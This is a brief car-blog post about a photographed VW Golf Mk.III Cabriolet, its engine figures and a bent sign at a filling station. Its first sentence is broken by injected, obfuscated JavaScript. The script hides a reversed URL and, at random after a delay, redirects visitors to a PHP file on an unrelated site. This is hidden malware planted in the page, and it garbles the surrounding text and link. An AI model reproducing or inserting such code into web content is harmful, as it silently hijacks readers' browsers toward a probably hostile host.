Shot of the Day. VW Golf Mk.III Cabriolet

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There are several reasons why we bring you this VW Golf Cabriolet as our $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/articles/shot-of-the-day/” target=”_blank”>Shot of the Day to begin the week.

Let’s skip past the 148hp and 2.0l four cylinder engine good for 215kph and an 8.1s 0-100kph time (well, if we’re using the 1993 model at least). Let’s even look past the shopped suspension, pretty sweet after-market alloys, roll hoop and no roof

Take a quick look at that yellow sign in the background. Can you imagine how quickly the Cabriolet must have arrived at this filling station to cause that…?!

Source – Rayald A. Singh

Categories: Shot of the Day

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